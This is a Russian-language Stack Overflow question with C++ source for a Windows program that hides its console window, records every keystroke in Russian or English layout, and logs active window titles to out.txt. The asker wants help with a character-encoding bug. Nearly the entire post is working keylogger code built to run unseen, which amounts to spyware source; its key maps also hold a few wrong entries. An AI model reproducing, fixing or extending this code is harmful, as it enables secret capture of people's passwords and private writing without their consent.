Запись заголовков активных окошек в файлик C++
Такое дело, у меня есть одна программка, которая отслеживать нажатие клавиш и записывает в файл out.txt, но вот беда... Почему-то, когда пытаюсь добавить функцию отслеживания окошек int Title(), то после нее все русские символы фаршмачатся. А вот если ее удалить, тогда все нормально. То есть, без записи заголовков окошек программа русский понимает. Пожалуйста, помогите разобраться, в чем дело?! Вот пример кода:
#include <iostream>
#include <fstream>
#include <string>
#include <Windows.h>
#include <time.h>
#define RUS 0x0419 //Код русской клавиатурной раскладки
#define ENG 0x0409 //Код английской клавиатурной раскладки
LPCWSTR rus = L"00000419";
LPCWSTR eng = L"00000409";
int BackSp = 0; //Переменная для BackSpase
bool is_capslock = false; //Проверка включенности капслока
char windowTitleOld[256] = "";
HWND hWnd = GetForegroundWindow(); // получение дескриптора окна
//DWORD tpi; // id потока, обслуживающего процесс
int save(int key);
int Title();
void stealth();
int main(int argc, char* argv[]) {
// Скрыть консольное окно программы
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
//int tpi = GetCurrentThreadId(); // получить идентификатор потока текущего процесса
while (true) {
Title();
for (int i = 8; i <= 222; i++) {
if (GetAsyncKeyState(i) == -32767) {
save(i);
}
}
}
return 0;
}
int save(int key) {
// Открыть файл лога для добавления новых записей
std::ofstream out_file;
out_file.open("out.txt", std::ios_base::app);
if (!out_file.is_open()) {
std::cout << "Ошибка открытия файла логов\n";
return -1;
}
std::string sLogs = "";
time_t t = time(0);
// Получить текущую раскладку клавиатуры
int layout = LOWORD(GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), NULL)));
// Проверить текущую раскладку и выбрать соответствующий набор символов
switch (layout) {
case RUS: // русская раскладка
switch (key) {
//Пробел
case VK_SPACE:
sLogs += " ";
break;
//Ввод набора русских букв с клавиатуры - начало
case 65: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Ф" : "ф"; break;
case 66: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "И" : "и"; break;
case 67: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "С" : "с"; break;
case 68: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "В" : "в"; break;
case 69: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "У" : "у"; break;
case 70: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "А" : "а"; break;
case 71: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "П" : "п"; break;
case 72: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Р" : "р"; break;
case 73: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Ш" : "ш"; break;
case 74: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "О" : "о"; break;
case 75: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Л" : "л"; break;
case 76: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Д" : "д"; break;
case 77: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Ь" : "ь"; break;
case 78: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Т" : "т"; break;
case 79: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Щ" : "щ"; break;
case 80: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "З" : "з"; break;
case 81: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Й" : "й"; break;
case 82: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "К" : "к"; break;
case 83: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Ы" : "ы"; break;
case 84: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Е" : "е"; break;
case 85: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Г" : "г"; break;
case 86: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "М" : "м"; break;
case 87: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Ц" : "ц"; break;
case 88: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Ч" : "ч"; break;
case 89: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Н" : "н"; break;
case 90: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Я" : "я"; break;
case 186: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Ж" : "ж"; break;
case 188: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Б" : "б"; break;
case 190: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Ю" : "ю"; break;
case 219: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Х" : "х"; break;
case 220: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "|" : "\\"; break;
case 221: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Ъ" : "ъ"; break;
case 222: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Э" : "э"; break;
case 191: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "," : "."; break;
case 192: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Ё" : "ё"; break;
//Ввод набора русских букв с клавиатуры - конец
// Добавить другие символы русской раскладки по аналогии
default: break;
}
break;
case ENG: // английская раскладка
switch (key) {
//Пробел
case VK_SPACE:
sLogs += " ";
break;
// Набор символов на английской раскладке
case 65: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "A" : "a"; break;
case 66: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "B" : "b"; break;
case 67: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "C" : "c"; break;
case 68: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "D" : "d"; break;
case 69: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "E" : "e"; break;
case 70: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "F" : "f"; break;
case 71: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "G" : "g"; break;
case 72: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "H" : "h"; break;
case 73: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "I" : "i"; break;
case 74: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "J" : "j"; break;
case 75: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "K" : "k"; break;
case 76: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "L" : "l"; break;
case 77: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "M" : "m"; break;
case 78: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "N" : "n"; break;
case 79: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "O" : "o"; break;
case 80: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "P" : "p"; break;
case 81: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Q" : "q"; break;
case 82: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "R" : "R"; break;
case 83: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "S" : "s"; break;
case 84: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "T" : "t"; break;
case 85: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "U" : "u"; break;
case 86: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "V" : "v"; break;
case 87: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "W" : "W"; break;
case 88: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "X" : "x"; break;
case 89: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Y" : "y"; break;
case 90: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Z" : "z"; break;
case 186: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? ":" : ";"; break;
case 188: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "<" : ","; break;
case 190: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? ">" : "."; break;
case 219: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "{" : "["; break;
case 221: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "}" : "]"; break;
case 220: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? '|' : static_cast<char>(92); break;
case 222: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "Z" : "z"; break;
case 191: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "?" : "/"; break;
case 192: sLogs += (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) ? "~" : "`"; break;
//Ввод набора английских букв с клавиатуры - конец
// Добавить другие символы английской раскладки по аналогии
default: break;
}
break;
default:
break;
}
out_file << sLogs;
out_file.close();
return 0;
}
int Title(){
std::ofstream out_file;
out_file.open("out.txt", std::ios_base::app);
if (!out_file.is_open()) {
std::cout << "Ошибка открытия файла логов\n";
return -1;
}
char windowTitle[256];
HWND WT = GetForegroundWindow();
GetWindowText(WT, windowTitle, sizeof(windowTitle));
if (strcmp(windowTitleOld, windowTitle) != 0) { // если заголовок изменился, то записываем его в файл
strcpy(windowTitleOld, windowTitle);
out_file << "\r\n" << "[" << windowTitle << "] :" << "\r\n";
}
out_file.close();
return 0;
}
введите сюда код
Источник: Stack Overflow на русском